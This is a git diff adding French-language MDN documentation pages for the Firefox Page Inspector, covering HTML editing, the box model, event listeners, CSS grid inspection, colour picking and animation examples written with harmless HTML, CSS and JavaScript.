Ouvrir le lien dans un nouvel onglet(seulement quand un lien - comme un attribut href - est sélectionné) Ouvre l'élément dans un nouvel onglet.
Ouvrir dans le Débogueur(seulement quand un lien vers une source JS est sélectionné) Ouvre la source dans le Débogueur.
Ouvrir fichier dans l'éditeur de style(seulement quand un lien vers une source CSS est sélectionné) Ouvre la source dan l'éditeur de style.
Copier l'adresse du lien(seulement quand une URL est sélectionnée) Copie l'URL
:hoverDéfinit la pseudo classe CSS :hover
:activeDéfinit la pseudo classe CSS :active
:focusDéfinit la pseudo classe CSS :focus
+ +

Éditer le code HTML

+ +

Il est possible d'éditer les éléments HTML directement dans le panneau HTML. Il suffit de double cliquer sur le texte voulu, de le modifier puis d'appuyer sur Entrée. Les modifications sont immédiatement effectives.

+ +

Pour éditer le outerHTML, il faut ouvrir le menu contextuel et sélectionner "Modifier comme HTML" . Une boite apparaîtra alors dans le panneau HTML :

+ +

Edit HTML directly in the Inspector panel in Firefox 57N'importe quel fragment HTML peut être ajouté ici. Il est par exemple possible de changer les balises de l’élément, d'ajouter de nouvelles balises, de modifier des éléments existants, etc. Les modifications sont effectives dès que vous cliquez en-dehors de la boite

+ +

À partir de Firefox 52, lors de l'édition, le menu contextuel est le même que pour le texte modifiable normal :

+ +

+ +

Copier coller

+ +

Il est possible d'utiliser le menu popup pour copier des noeuds dans l'arbre HTML.

+ +

Glisser déposer

+ +

Il est possible de modifier l'HTML en déplaçant les noeuds dans l'arbre HTML. Il suffit de rester cliqué sur un élément et de le glisser vers le haut ou vers le bas. Lorsque le clic est relâché, l'élément sera inséré à la position voulue.

+ +

{{EmbedYouTube("oI-a035nfWk")}}

+ +

À partir de Firefox 44, il est possible d'annuler le glisser-déposer en utilisant la touche Esc.

+ +

Insérer de nouveaux noeuds

+ +
Nouveau dans Firefox 48
+ +

À partir de Firefox 48, il y a une icône "+" en haut du panneau :

+ +

 

+ +

+ +

 

+ +

Cliquer sur cette icône insère une balise <div> dans le document en tant que dernier enfant de l'élément sélectionné. Il est alors possible de modifier le contenu et le style du noeud, exactement comme n'importe quel autre élément.

+ +

{{EmbedYouTube("NG5daffvVZM")}}

+ +

L'option "Créer un nouveau noeud" dans le menu contextuel fait la même chose.

+ +

Il est à noter que le bouton est désactivé si l'élément sélection est tel qu'ajouter un dernier enfant n'aurait aucun effet (par exemple un <html> ou un <iframe>). Cependant, il est actif dans moments ou il n'est pas valide d'insérer un élément <div>, ( <style> ou <link> par exemple). Dans ces cas, l'élément ajouté est un texte.

diff --git a/files/fr/tools/page_inspector/how_to/examine_and_edit_the_box_model/index.html b/files/fr/tools/page_inspector/how_to/examine_and_edit_the_box_model/index.html new file mode 100644 index 0000000000..1c890f872b --- /dev/null +++ b/files/fr/tools/page_inspector/how_to/examine_and_edit_the_box_model/index.html @@ -0,0 +1,37 @@ +--- +title: Examiner et modifier le modèle de boîte +slug: Outils/Inspecteur/Comment/Examiner_et_modifier_le_modèle_de_boîte +tags: + - Guide + - Tools +translation_of: Tools/Page_Inspector/How_to/Examine_and_edit_the_box_model +--- +
{{ToolsSidebar}}

Examiner le modèle de boîte

+ +

En ayant le bouton de Sélection d'éléments activé, survoler un élément de la page aura pour effet d'afficher son modèle de boite en surbrillance :

+ +

{{EmbedYouTube("vDRzN-svJHQ")}}

+ +

Survoler le noeud d'un élément dans le panneau HTML l'affichera également :

+ +

{{EmbedYouTube("xA4IxTttNLk")}}

+ +

La vue "modèle de boite"

+ +

Lorsqu'un élément est sélectionné, il est possible d'avoir un aperçu détaillé du modèle de boite dans la vue modèle de boite :

+ +

+ +

Survoler une valeur affichera une infobulle indiquant d'où la valeur est issue :

+ +

+ +

Survoler une partie du modèle de boite dans cette vue affiche la partie correspondante de l'élément dans la page :

+ +

{{EmbedYouTube("H3ZxRbbyfwI")}}

+ +

Éditer le modèle de boites

+ +

Il est également possible d'éditer les valeurs dans la vue modèle de boite et les changements dans la page sont affiché immédiatement :

+ +

{{EmbedYouTube("gHjDjM8GJ9I")}}

diff --git a/files/fr/tools/page_inspector/how_to/examine_event_listeners/index.html b/files/fr/tools/page_inspector/how_to/examine_event_listeners/index.html new file mode 100644 index 0000000000..192e82ef37 --- /dev/null +++ b/files/fr/tools/page_inspector/how_to/examine_event_listeners/index.html @@ -0,0 +1,37 @@ +--- +title: Examiner les écouteurs d'évènements +slug: Outils/Inspecteur/Comment/Examiner_les_écouteurs_d_évènements +tags: + - Guide + - Inspector + - Tools +translation_of: Tools/Page_Inspector/How_to/Examine_event_listeners +--- +
{{ToolsSidebar}}
+ +

L'inspecteur affiche dans le panneau HTML le mot "event" à côté des éléments qui ont un écouteur lié :

+ +

 

+ +

+ +

 

+ +

Cliquer sur cette icône fera apparaitre une pop-up listant tous les écouteurs liés à cet élément :

+ +

Chaque ligne contient :

+ +
    +
  • Une flèche droite. Cliquer dessus étend la ligne et affiche le code source de la fonction de l'écouteur.
    • +
  • Le nom de l'évènement.
    • +
  • Le nom du fichier et le numéro de ligne où se trouve l'écouteur : cliquer fera apparaitre la fonction de l'écouteur dans la pop-up.
    • +
  • Une flèche courbée. Cliquer dessus affiche le code de l'handler dans le Débogueur
    • +
  • Une indication pour savoir si l'évènement se propage ("bubbles") ou non.
    • +
  • Une indication qui affiche le système qui définit l'évènement. Firefox peut afficher : + +
    • +
diff --git a/files/fr/tools/page_inspector/how_to/examine_grid_layouts/index.html b/files/fr/tools/page_inspector/how_to/examine_grid_layouts/index.html new file mode 100644 index 0000000000..b653021231 --- /dev/null +++ b/files/fr/tools/page_inspector/how_to/examine_grid_layouts/index.html @@ -0,0 +1,125 @@ +--- +title: "Inspecteur de grille CSS\_: examiner les grilles" +slug: Outils/Inspecteur/Comment/Examine_grid_layouts +translation_of: Tools/Page_Inspector/How_to/Examine_grid_layouts +--- +
{{ToolsSidebar}}
+ +

L'inspecteur de grilles permet de trouver, d'examiner, et de modifier les grilles CSS en utilisant les outils de développement de Firefox

+ +
+

Note: Les exemples montrés dans les captures d'écran ci-dessous sont tirés de Futurismo (Jen Simmons), des expériences "Variations on a grid", et de "live named grid area example" (Rachel Andrew).

+
+ +

Découvrir les grilles CSS

+ +

Lorsqu'un élément HTML d'une page possède l'attribut display: grid, des fonctionnalités des outils de développement sont activées pour fournir un accès simple aux fonctionnalités des grilles.

+ +

Dans le panneau HTML

+ +

Le panneau HTML, montrant un marqueur de grille

+ +

Dans le panneau CSS

+ +

Dans l'onglet règles du panneau CSS, toutes les instances d'une déclaration display: grid possèdent une icône de grille () :

+ +

The CSS pane of the Firefox devtools, showing the CSS for a grid layout with a grid icon included next to display: grid

+ +

Cliquer sur cette icône affiche une grille en superposition sur la page, afin de mettre en évidence la position des lignes et "tracks" de la grille CSS :

+ +

Une superposition en couleur de la grille CSS

+ +

La superposition reste affichée même lorsque d'autres éléments sont sélectionnés, il est donc possible d'éditer les propriétés CSS appropriées et en voir les effets sur la grille.

+ +

La section "grilles" de l'onglet mise en page

+ +

Lorsque des grilles sont incluses dans une page, l'onglet "Mise en page" du panneau CSS inclut une section "Grille", qui contient quelques options pour afficher celles-cis.

+ +
+

Note: La vue "Mise en page" se situe dans le panneau de droite de l'Inspecteur. Les captures d'écran au-dessus et en dessous devraient aider à sa localisation.

+
+ +

Options de grilles

+ +

La section grille de l'onglet mise en page ressemble à ceci :Les options des grilles CSS

+ +

Ces options sont :

+ +
    +
  • Superposer une grille : contient une case à cocher pour chaque grille CSS présente sur la page,ainsi que quelques options . Cela permet de superposer une grille d'indication sur les grilles CSS.
    • +
  • Paramètres d'affichage des grilles : +
      +
    • Afficher le numéro des lignes : affiche le nombre de lignes pour chaque grille d'indication (option activée par défaut).
      • +
    • Afficher le nom des zones : active/désactive les noms des zones si la grille possède des noms de zones (activé par défaut quand utile).
      • +
    • Prolonger les lignes à l'infini : Par défaut, les lignes/tracks des grilles CSS ne sont affichées que dans l'élément sur lequel display: grid est attaché. Lorsque cette option est activée, les lignes de la grille d'indication se prolongent jusqu'au bord de la fenêtre sur chaque axe.
      • +
    +
    • +
  • Mini vue de grilles : Une vue réduite des grilles actuellement superposées.
    • +
+ +
+

Note: Les préférences de grilles telles que la couleur de superposition et les paramètres d'affichage persistent au rechargement des pages (chacun sur sa page séparée).

+
+ +

Grille de superposition

+ +

Chaque grille présente sur la page, possède son entrée dans la section "superposer une grille" :

+ +

Une entrée pour une seule grille de superposition affichant son nom, sa couleur, et plus

+ +

Chaque entrée est composée de (de gauche à droite) :

+ +
    +
  • Une case à cocher permettant d'activer/désactiver la superposition pour cette grille. Il est à noter qu'actuellement, une seule superposition à la fois est possible.
    • +
  • Un nom pour identifier la grille, il s'agit du sélecteur identifiant l'élément HTML auquel la grille est appliquée. Cliquer sur le nom active/désactive également la superposition.
    • +
  • Une icône de ciblage, qui sélectionne automatiquement dans l'Inspecteur l'élément HTML auquel la grille est rattachée.
    • +
  • Un sélecteur de couleur permettant de change la couleur de la superposition. C'est utile pour pouvoir facilement différencier la grille de sa superposition.
    • +
+ +

Afficher le numéro des lignes

+ +

Par défaut le numéro des lignes est affiché dans la superposition :

+ +

Une superposition de grille CSS avec les numéros de lignes affichés

+ +

Décocher la case "Afficher les numéros des lignes" les désactivent :

+ +

A CSS grid overlay with grid line numbers not displayed

+ +

Afficher le nom des zones

+ +

Si une grille possède des noms de zones, ces noms seront automatiquement affichés par défaut dans la superposition :

+ +

A CSS grid overlay with named area names displayed

+ +

Décocher la case désactive cet affichage :

+ +

A CSS grid overlay with named area names not displayed

+ +

Prolonger les lignes à l'infini

+ +

Par défaut les lignes/tracks ne sont affichées que dans l'élément sur laquelle la grille est appliquée :

+ +

A CSS grid overlay with grid lines not extended infinitely

+ +

Lorsque cette option est activée, les lignes se prolongent sur chaque axe jusqu'au bord de la fenêtre :

+ +

A CSS grid overlay with grid lines extended infinitely

+ +

Mini vue de la grille

+ +

Affiche une version miniature de la superposition de la grile, en proportions correctes de la vraie.

+ +

A mini CSS grid view from the Firefox DevTools

+ +

Survoler les différentes zones de la mini grille, affichera en surbrillance la zone correspondante dans la vraie grille et fournira une infobulle avec des informations telles que la taille de la zone, sa ligne et sa colonne.

+ +

A Firefox screenshot showing an area of a mini CSS grid being highlighted in the DevTools, and the corresponding area in the real grid being highlighted on the web page.

+ +

À voir également

+ + diff --git a/files/fr/tools/page_inspector/how_to/index.html b/files/fr/tools/page_inspector/how_to/index.html new file mode 100644 index 0000000000..3d3e1418dc --- /dev/null +++ b/files/fr/tools/page_inspector/how_to/index.html @@ -0,0 +1,10 @@ +--- +title: Comment faire… +slug: Outils/Inspecteur/Comment +translation_of: Tools/Page_Inspector/How_to +--- +
{{ToolsSidebar}}
+ +

Cette page présente différents "Comment faire ?" pour l'Inspecteur, décrivant des techniques avancées.

+ +

{{ ListSubpages () }}

diff --git a/files/fr/tools/page_inspector/how_to/inspect_and_select_colors/index.html b/files/fr/tools/page_inspector/how_to/inspect_and_select_colors/index.html new file mode 100644 index 0000000000..93e353dff0 --- /dev/null +++ b/files/fr/tools/page_inspector/how_to/inspect_and_select_colors/index.html @@ -0,0 +1,22 @@ +--- +title: Inspecter et sélectionner des couleurs +slug: Outils/Inspecteur/Comment/Inspecter_et_sélectionner_des_couleurs +translation_of: Tools/Page_Inspector/How_to/Inspect_and_select_colors +--- +
{{ToolsSidebar}}

Dans l'onglet "Règles" du panneau CSS, si une règle contient une valeur de couleur, un aperçu de cette couleur sera affiché à côté de la valeur :

+ +

+ +

Cliquer sur cet aperçu ouvre un sélecteur de couleur, permettant de changer la couleur :

+ +

+ +

Le sélecteur de couleur inclut une icône en forme de pipette. Cliquer sur cette icône permet de sélectionner une nouvelle couleur depuis la page :

+ +

{{EmbedYouTube("0Zx1TN21QOo")}}

+ +

À partir de Firefox 40, cliquer sur l'aperçu tout en maintenant la touche Maj enfoncée change le format de couleur :

+ +

{{EmbedYouTube("gYL8-gxc1MA")}}

+ +

Depuis sa version 53, Firefox supporte les valeurs de couleurs CSS "level 4".

diff --git a/files/fr/tools/page_inspector/how_to/open_the_inspector/index.html b/files/fr/tools/page_inspector/how_to/open_the_inspector/index.html new file mode 100644 index 0000000000..6e8f25c1b1 --- /dev/null +++ b/files/fr/tools/page_inspector/how_to/open_the_inspector/index.html @@ -0,0 +1,35 @@ +--- +title: Ouvrir l'inspecteur +slug: Outils/Inspecteur/Comment/Ouvrir_l_Inspecteur +tags: + - Guide + - Inspecteur + - Tools +translation_of: Tools/Page_Inspector/How_to/Open_the_Inspector +--- +
{{ToolsSidebar}}
+ +

Il y a deux façons principales d’ouvrir l'inspecteur :

+ +
    +
  • Sans élément sélectionné : cliquer sur l'option "Inspecteur" du menu "Développement", ou bien utiliser le raccourci clavier correspondant (Ctrl + Maj + C)
    • +
  • Avec un élément sélectionné : faire un clic droit sur un élément et sélectionner "Examiner l'élément"
    • +
+ +

L'inspecteur s’ouvrira alors dans votre navigateur :

+ +

The all-new Inspector in Firefox 57 DevTools.

+ +

Il est également possible de le faire apparaitre à gauche :

+ +

+ +

Ou à droite :

+ +

+ +

Ou dans une fenêtre séparée :

+ +

+ +

La visite guidée de l'interface utilisateur peut vous aider à vous repérer dans l'inspecteur.

diff --git a/files/fr/tools/page_inspector/how_to/reposition_elements_in_the_page/index.html b/files/fr/tools/page_inspector/how_to/reposition_elements_in_the_page/index.html new file mode 100644 index 0000000000..1d640ebf74 --- /dev/null +++ b/files/fr/tools/page_inspector/how_to/reposition_elements_in_the_page/index.html @@ -0,0 +1,22 @@ +--- +title: Repositionner des éléments dans la page +slug: Outils/Inspecteur/Comment/Reposition_elements_in_the_page +translation_of: Tools/Page_Inspector/How_to/Reposition_elements_in_the_page +--- +
{{ToolsSidebar}}
Nouveau dans Firefox 48
+ +

A partir de Firefox 48; il est possible de déplacer les élément positionnés en absolu en les glissant dans la page.

+ +

{{EmbedYouTube("Or5HM1FFhvE")}}

+ +

Si un élément a sa propriété {{cssxref("position")}} mise à absolute, relative ou fixed et une ou plus des propriétés {{cssxref("top")}}, {{cssxref("bottom")}} , {{cssxref("left")}} ou {{cssxref("right")}}, alors la vue "Modèle de boîte" affiche un bouton :

+ +

+ +

Cliquer sur ce bouton fera apparaitre deux poignées à coté de l'élément :

+ +

Example for changing the position of an element within the content

+ +

Il est alors possible d'utiliser ces poignées pour déplacer l’élément dans la page.

+ +

Si l’élément est positionné en absolu, des lignes pointillées apparaissent pour représenter le décalage par rapport au parent. Pour les éléments positionnés en relatif, elles représentent la position d'origine du nœud. les distances sont affichés par des infobulles pour chaque coté.

diff --git a/files/fr/tools/page_inspector/how_to/select_an_element/index.html b/files/fr/tools/page_inspector/how_to/select_an_element/index.html new file mode 100644 index 0000000000..084b33f3be --- /dev/null +++ b/files/fr/tools/page_inspector/how_to/select_an_element/index.html @@ -0,0 +1,36 @@ +--- +title: Sélectionner un élément +slug: Outils/Inspecteur/Comment/Sélectionner_un_élément +tags: + - Guide + - Inspector + - Tools +translation_of: Tools/Page_Inspector/How_to/Select_an_element +--- +
{{ToolsSidebar}}

L'élément sélectionné est l'élément de la page sélectionné dans l'Inspecteur. Il est affiché dans le panneau HTML et son CSS est affiché dans le panneau CSS.

+ +

L'élément en surbrillance est l'élément de la page sur lequel est superposé une image affichant son modèle de boite, ainsi qu'une une infobulle avec son type et sa taille :

+ +

+ +

Avec le menu contextuel

+ +

Pour ouvrir l'Inspecteur et sélectionner immédiatement un élément, il suffit d'ouvrir le menu contextuel sur cet élément (clic droit) puis de sélectionner "Inspecter l'élément" :

+ +

{{EmbedYouTube("db83PCnPiNM")}}

+ +

Avec le panneau HTML

+ +

Lorsque l'inspecteur est ouvert, l'élément survolé par la souris est mis en évidence dans la page. Cliquer sur cet élément le sélectionnera :

+ +

{{EmbedYouTube("EojH_vCMesI")}}

+ +

Il est également possible d'utiliser les flèches du clavier pour se déplacer dans l'arbre HTML.

+ +

Avec le sélectionneur de noeuds

+ +

Pour sélectionner un élément dans la page, il est possible d'activer le sélectionneur en cliquant sur son icône ( ) en haut à gauche. Dès lors, chaque élément survolé par la souris sera mis en évidence et cliquer sur un élément le sélectionnera :

+ +

{{EmbedYouTube("Ss_fJz0zaxA")}}

+ +

Depuis Firefox 52, utiliser la touche Maj  lors du clic sélectionnera l'élément, mais ne fermera pas le sélectioneur (afin de pouvoir sélectionner un autre élément ensuite)

diff --git a/files/fr/tools/page_inspector/how_to/select_and_highlight_elements/index.html b/files/fr/tools/page_inspector/how_to/select_and_highlight_elements/index.html new file mode 100644 index 0000000000..b04d2d6e1f --- /dev/null +++ b/files/fr/tools/page_inspector/how_to/select_and_highlight_elements/index.html @@ -0,0 +1,30 @@ +--- +title: Sélectionner et mettre en surbrillance +slug: Outils/Inspecteur/Comment/Select_and_highlight_elements +translation_of: Tools/Page_Inspector/How_to/Select_and_highlight_elements +--- +
{{ToolsSidebar}}

L'élément sélectionné est élément de la page ciblé par l'Inspecteur. Cet élément est affiché dans le panneau HTML et son CSS est affiché dans le panneau CSS.

+ +

L'élément en surbrillance est l'élément dans la page en surbrillance avec son modèle de boit d'affiché, ainsi qu'une infobulle avec son tag et sa taille :

+ +

+ +

Via le menu contextuel

+ +

Pour ouvrir l'Inspecteur et sélectionner un élément immédiatement, il suffit d'activer le menu contextuel de n'importe quel élément de la page et de sélectionner "Inspecter l'élément" :

+ +

{{EmbedYouTube("db83PCnPiNM")}}

+ +

Via le panneau HTML

+ +

Lorsque l'Inspecteur est ouvert, survoler un élément listé dans le panneau HTML affichera en surbrillance l'élément correspondant dans la page. Cliquer sur un élément dans le panneau HTML le sélectionne :

+ +

{{EmbedYouTube("EojH_vCMesI")}}

+ +

Il est également possible d'utiliser les flèches du clavier pour se déplacer dans l'arbre DOM.

+ +

Via le sélectionneur de noeuds

+ +

Pour sélectionner un élément de la page, il faut activer l'outil en cliquant sur son icône : . Ensuite, survoler un élément de la page l'affichera en surbrillance. Cliquer sur un élément le sélectionne :

+ +

{{EmbedYouTube("Ss_fJz0zaxA")}}

diff --git a/files/fr/tools/page_inspector/how_to/use_the_inspector_api/index.html b/files/fr/tools/page_inspector/how_to/use_the_inspector_api/index.html new file mode 100644 index 0000000000..a870167e19 --- /dev/null +++ b/files/fr/tools/page_inspector/how_to/use_the_inspector_api/index.html @@ -0,0 +1,46 @@ +--- +title: Utiliser l'API de l'Inspecteur +slug: Outils/Inspecteur/Comment/Utiliser_l_API_de_l_Inspecteur +tags: + - Inspector + - Reference + - Référence(2) + - Tools +translation_of: Tools/Page_Inspector/How_to/Use_the_Inspector_API +--- +
{{ToolsSidebar}}
+ +

Les modules complémentaires de Firefox peuvent accéder aux objets du contexte chrome://browser/content/devtools/inspector/inspector.xul suivants :

+ +

window.inspector

+ +

Défini dans inspector-panel.js. Attributs et fonctions :

+ +
    +
  • .selection - information sur la sélection de l'inspecteur : +
      +
    • .isNode() - retourne true si la sélection est un nœud.
      • +
    • .node - retourne l'élément de la page
      • +
    • .window - l'objet window de la frame dans laquelle la sélection est.
      • +
    +
    • +
  • .markDirty() - marque la page comme ayant été modifié par l'inspecteur. un avertissement sera affiché en quittant la page, car les changements faits par l'inspecteur sont réécrits au rechargement.
    • +
+ +

Événements Bindables :

+ +

markuploaded

+ +

Appelé quand le panneau de gauche a été rafraichi après un changement de panneau

+ +

ready

+ +

Appelé au premier markuploaded.

+ +

pseudoclass

+ +

Appelé après affichage ("toggle") d'une pseudo classe

+ +

layout-change

+ +

"low-priority change event for things like paint and resize." (évènements de changement basse priorité pour les choses comme paint et resize).

diff --git a/files/fr/tools/page_inspector/how_to/use_the_inspector_from_the_web_console/index.html b/files/fr/tools/page_inspector/how_to/use_the_inspector_from_the_web_console/index.html new file mode 100644 index 0000000000..1b3f3c13b2 --- /dev/null +++ b/files/fr/tools/page_inspector/how_to/use_the_inspector_from_the_web_console/index.html @@ -0,0 +1,16 @@ +--- +title: Utiliser l'Inspecteur depuis la Console Web +slug: Outils/Inspecteur/Comment/Utiliser_l_Inspecteur_depuis_la_Console_Web +tags: + - Guide + - Inspector + - Tools +translation_of: Tools/Page_Inspector/How_to/Use_the_Inspector_from_the_Web_Console +--- +
{{ToolsSidebar}}
+ +

L'élément qui est sélectionné dans l'Inspecteur peut être référencé dans la Console Web en utilisant la variable $0 :

+ +

Les éléments DOM dans la Console Web ont une icône en forme de cible à côté d'eux. Survoler cette icône met l'élément en surbrillance. Cliquer sur cette icône sélectionne l'élément dans l'Inspecteur :

+ +

diff --git a/files/fr/tools/page_inspector/how_to/view_background_images/index.html b/files/fr/tools/page_inspector/how_to/view_background_images/index.html new file mode 100644 index 0000000000..9d6bdb09e4 --- /dev/null +++ b/files/fr/tools/page_inspector/how_to/view_background_images/index.html @@ -0,0 +1,12 @@ +--- +title: Prévisualiser des images de fond +slug: Outils/Inspecteur/Comment/Prévisualiser_des_images_de_fond +translation_of: Tools/Page_Inspector/How_to/View_background_images +--- +
{{ToolsSidebar}}

Dans l'onglet des règles, il est possible de prévisualiser les images spécifiées avec la propriété background-image. Il suffit de survoler cette règle :

+ +

+ +

Depuis Firefox 41, lors d'un clic-droit sur la déclaration de l'image, il y a une option pour copier l'image en tant que data URL :

+ +

diff --git a/files/fr/tools/page_inspector/how_to/visualize_transforms/index.html b/files/fr/tools/page_inspector/how_to/visualize_transforms/index.html new file mode 100644 index 0000000000..a00bd795b5 --- /dev/null +++ b/files/fr/tools/page_inspector/how_to/visualize_transforms/index.html @@ -0,0 +1,14 @@ +--- +title: Visualiser les transformations +slug: Outils/Inspecteur/Comment/Visualiser_les_transformations +tags: + - Guide + - Inspector + - Tools +translation_of: Tools/Page_Inspector/How_to/Visualize_transforms +--- +
{{ToolsSidebar}}
+ +

Visualiser les transformations

+ +

Survoler une propriété transform dans l'onglet des règles, fera apparaitre la transformation dans la page :

diff --git a/files/fr/tools/page_inspector/how_to/work_with_animations/animation_inspector_(firefox_41_and_42)/index.html b/files/fr/tools/page_inspector/how_to/work_with_animations/animation_inspector_(firefox_41_and_42)/index.html new file mode 100644 index 0000000000..a5c09e4f45 --- /dev/null +++ b/files/fr/tools/page_inspector/how_to/work_with_animations/animation_inspector_(firefox_41_and_42)/index.html @@ -0,0 +1,26 @@ +--- +title: Inspecteur d'animations (Firefox 41 et 42) +slug: >- + Outils/Inspecteur/Comment/Work_with_animations/Animation_inspector_(Firefox_41_and_42) +translation_of: >- + Tools/Page_Inspector/How_to/Work_with_animations/Animation_inspector_(Firefox_41_and_42) +--- +
{{ToolsSidebar}}
+ +
+

Il est à noter que l'interface utilisateur de l'inspecteur d'animations a été refaite dans Firefox 43. Pour voir à quoi ressemble cette nouvelle interface, consultez la page : "Travailler avec des animations".

+
+ +

L’inspecteur d'animations permet de :

+ +
    +
  • Voir des informations sur toutes les animations fonctionnant dans la page.
    • +
  • Démarrer/stopper toutes les animations
    • +
  • Démarrer/arrêter/rembobiner/avancer rapidement chaque animation
    • +
  • Aller à un point spécifique de l'animation
    • +
  • Mettre en surbrillance et inspecter le noeud animé
    • +
  • Ajuster la vitesse de chaque animation
    • +
  • Voir si une animation tourne dans le compositor thread (une icône en forme d'éclair est affichée à côté des animations dans ce cas)
    • +
+ +

{{EmbedYouTube("0vSIuKaqD8o")}}

diff --git a/files/fr/tools/page_inspector/how_to/work_with_animations/animation_inspector_example_colon__css_transitions/index.html b/files/fr/tools/page_inspector/how_to/work_with_animations/animation_inspector_example_colon__css_transitions/index.html new file mode 100644 index 0000000000..6d6ea21654 --- /dev/null +++ b/files/fr/tools/page_inspector/how_to/work_with_animations/animation_inspector_example_colon__css_transitions/index.html @@ -0,0 +1,84 @@ +--- +title: Exemples d'animations +slug: Outils/Inspecteur/Comment/Work_with_animations/Animations_examples +translation_of: >- + Tools/Page_Inspector/How_to/Work_with_animations/Animation_inspector_example:_CSS_transitions +--- +
{{ToolsSidebar}}

firefox-logo-animation

+ +

Exemples d'animations utilisant les transitions CSS.

+ +

Contenu HTML

+ +
<div class="channel">
+  <img src="https://mdn.mozillademos.org/files/11827/developer.png" class="icon"/>
+  <span class="note">Firefox Developer Edition</span>
+</div>
+ +

Contenu CSS

+ +
.channel {
+  padding: 2em;
+  margin: 0.5em;
+  box-shadow: 1px 1px 5px #808080;
+  margin: 1.5em;
+}
+
+.channel > * {
+  vertical-align: middle;
+  line-height: normal;
+}
+
+.icon {
+  width: 50px;
+  height: 50px;
+  filter: grayscale(100%);
+  transition: transform 750ms ease-in, filter 750ms ease-in-out;
+}
+
+.note {
+  margin-left: 1em;
+  font: 1.5em "Open Sans",Arial,sans-serif;
+  overflow: hidden;
+  white-space: nowrap;
+  display: inline-block;
+
+  opacity: 0;
+  width: 0;
+  transition: opacity 500ms 150ms, width 500ms 150ms;
+}
+
+.icon#selected {
+  filter: grayscale(0%);
+  transform: scale(1.5);
+}
+
+.icon#selected+span {
+  opacity: 1;
+  width: 300px;
+}
+
+ +

Contenu JavaScript

+ +
function toggleSelection(e) {
+  if (e.button != 0) {
+    return;
+  }
+  if (e.target.classList.contains("icon")) {
+    var wasSelected = (e.target.getAttribute("id") == "selected");
+    clearSelection();
+    if (!wasSelected) {
+      e.target.setAttribute("id", "selected");
+    }
+  }
+}
+
+function clearSelection() {
+  var selected = document.getElementById("selected");
+  if (selected) {
+    selected.removeAttribute("id");
+  }
+}
+
+document.addEventListener("click", toggleSelection);
diff --git a/files/fr/tools/page_inspector/how_to/work_with_animations/animation_inspector_example_colon__web_animations_api/index.html b/files/fr/tools/page_inspector/how_to/work_with_animations/animation_inspector_example_colon__web_animations_api/index.html new file mode 100644 index 0000000000..929963fa4a --- /dev/null +++ b/files/fr/tools/page_inspector/how_to/work_with_animations/animation_inspector_example_colon__web_animations_api/index.html @@ -0,0 +1,107 @@ +--- +title: 'Exemple d''inspecteur d''animations : Web Animations API' +slug: >- + Outils/Inspecteur/Comment/Work_with_animations/Animation_inspector_example:_Web_Animations_API +translation_of: >- + Tools/Page_Inspector/How_to/Work_with_animations/Animation_inspector_example:_Web_Animations_API +--- +
{{ToolsSidebar}}

logo-animation-Firefox

+ +

Exemple d'animation utilisant la Web Animations API.

+ +

Contenu HTML

+ +
<div class="channel">
+   <img src="https://mdn.mozillademos.org/files/11827/developer.png" id="icon"/>
+   <span id="note">Firefox Developer Edition</span>
+</div>
+ +

Contenu CSS

+ +
.channel {
+  padding: 2em;
+  margin: 0.5em;
+  box-shadow: 1px 1px 5px #808080;
+  margin: 1.5em;
+}
+
+.channel > * {
+  vertical-align: middle;
+  line-height: normal;
+}
+
+#icon {
+  width: 50px;
+  height: 50px;
+  filter: grayscale(100%);
+}
+
+#note {
+  margin-left: 1em;
+  font: 1.5em "Open Sans",Arial,sans-serif;
+  overflow: hidden;
+  white-space: nowrap;
+  display: inline-block;
+  opacity: 0;
+  width: 0;
+}
+
+ +

Contenu JavaScript

+ +
var iconKeyframeSet = [
+  { transform: 'scale(1)', filter: 'grayscale(100%)'},
+  { filter:  'grayscale(100%)', offset: 0.333},
+  { transform: 'scale(1.5)', offset: 0.666 },
+  { transform: 'scale(1.5)', filter: 'grayscale(0%)'}
+];
+
+var noteKeyframeSet = [
+  { opacity: '0', width: '0'},
+  { opacity: '1', width: '300px'}
+];
+
+var iconKeyframeOptions = {
+  duration: 750,
+  fill: 'forwards',
+  easing: 'ease-in',
+  endDelay: 100
+}
+
+var noteKeyframeOptions = {
+  duration: 500,
+  fill: 'forwards',
+  easing: 'ease-out',
+  delay: 150
+}
+
+var icon = document.getElementById("icon");
+var note = document.getElementById("note");
+
+var iconAnimation = icon.animate(iconKeyframeSet, iconKeyframeOptions);
+var noteAnimation = note.animate(noteKeyframeSet, noteKeyframeOptions);
+
+iconAnimation.pause();
+noteAnimation.pause();
+
+var firstTime = true;
+
+function animateChannel(e) {
+  if (e.button != 0) {
+    return;
+  }
+  if (e.target.id != "icon") {
+    return;
+  }
+  if (firstTime) {
+    iconAnimation.play();
+    noteAnimation.play();
+    firstTime = false;
+  } else {
+    iconAnimation.reverse();
+    noteAnimation.reverse();
+  }
+}
+
+document.addEventListener("click", animateChannel);
+
diff --git a/files/fr/tools/page_inspector/how_to/work_with_animations/index.html b/files/fr/tools/page_inspector/how_to/work_with_animations/index.html new file mode 100644 index 0000000000..0bbcab5957 --- /dev/null +++ b/files/fr/tools/page_inspector/how_to/work_with_animations/index.html @@ -0,0 +1,180 @@ +--- +title: travailler avec les animations +slug: Outils/Inspecteur/Comment/Work_with_animations +tags: + - Guide + - Inspecteur + - Outils +translation_of: Tools/Page_Inspector/How_to/Work_with_animations +--- +
{{ToolsSidebar}}
+ +

Cet article couvre trois outils que vous pouvez utilisez pour visualiser et éditer des animations:

+ + + +

Animation inspector

+ +

The Page Inspector's Animations view displays animations in the page synchronized along a timeline, with a draggable widget you can use to move to any point in the timeline and see the page at that point.

+ +

It displays animations created using CSS transitions, CSS @keyframes rules, or the Web Animations API. Starting in Firefox 48, it will show animations applied to the ::before and ::after pseudo-elements.

+ +

To see how it works, we'll walk through an example. The box below contains a grayscale icon, representing Firefox Developer Edition. If you click the icon, it enlarges and changes to color, and the name of the browser appears. Click the icon again to reverse the effect.

+ +

{{ EmbedLiveSample('firefox-logo-animation', 500, 200, "", "Tools/Page_Inspector/How_to/Work_with_animations/Animation_inspector_example:_Web_Animations_API") }}

+ +

These animations are made using the Web Animations API.

+ +

Let's use the animation inspector to see what's going on in this example.

+ +
    +
  1. Right-click in the box and select "Inspect Element"
    2. +
  2. Make sure the selected element is the <div class="channel">
    3. +
  3. Switch over to the "Animations" tab
    4. +
  4. Play the animation
    5. +
+ +

{{EmbedYouTube("XmKeAKryE5I")}}

+ +

Let's take a closer look at the contents of the animation inspector here:

+ +

+ +

